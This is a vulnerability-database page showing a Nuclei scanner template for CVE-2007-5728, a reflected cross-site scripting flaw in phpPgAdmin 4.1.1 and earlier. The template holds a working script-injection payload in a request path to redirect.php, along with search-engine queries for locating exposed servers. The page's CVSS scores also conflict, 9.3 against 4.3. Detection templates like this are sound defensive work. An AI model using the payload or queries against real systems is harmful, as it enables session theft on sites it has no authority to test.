Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2007-5728
HistoryNov 20, 2021 - 12:27 p.m.

phpPgAdmin <=4.1.1 - Cross-Site Scripting

2021-11-2012:27:41
ProjectDiscovery
github.com
2

9.3 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

5.5 Medium

AI Score

Confidence

High

0.017 Low

EPSS

Percentile

87.9%

phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865.

id: CVE-2007-5728

info:
  name: phpPgAdmin <=4.1.1 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, which are different vectors than CVE-2007-2865.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpPgAdmin or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/30090
    - http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/063617.html
    - https://nvd.nist.gov/vuln/detail/CVE-2007-5728
    - http://www.debian.org/security/2008/dsa-1693
    - http://www.novell.com/linux/security/advisories/2007_24_sr.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2007-5728
    cwe-id: CWE-79
    epss-score: 0.0153
    epss-percentile: 0.87042
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phppgadmin
    product: phppgadmin
    shodan-query:
      - http.title:"phpPgAdmin"
      - http.title:phppgadmin
      - cpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
    fofa-query: title=phppgadmin
    google-query: intitle:phppgadmin
  tags: cve2007,cve,xss,pgadmin,phppgadmin,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'phpPgAdmin'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100953dd54d966440da191127014e76b95981750331f9e3cae028138f6ab2d282e2022020180747ba4e68e033bb63c310e7a3b785f2b329d481c0168ae14b3078ba3027:922c64590222798bb761d5b6d8e72950

9.3 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

5.5 Medium

AI Score

Confidence

High

0.017 Low

EPSS

Percentile

87.9%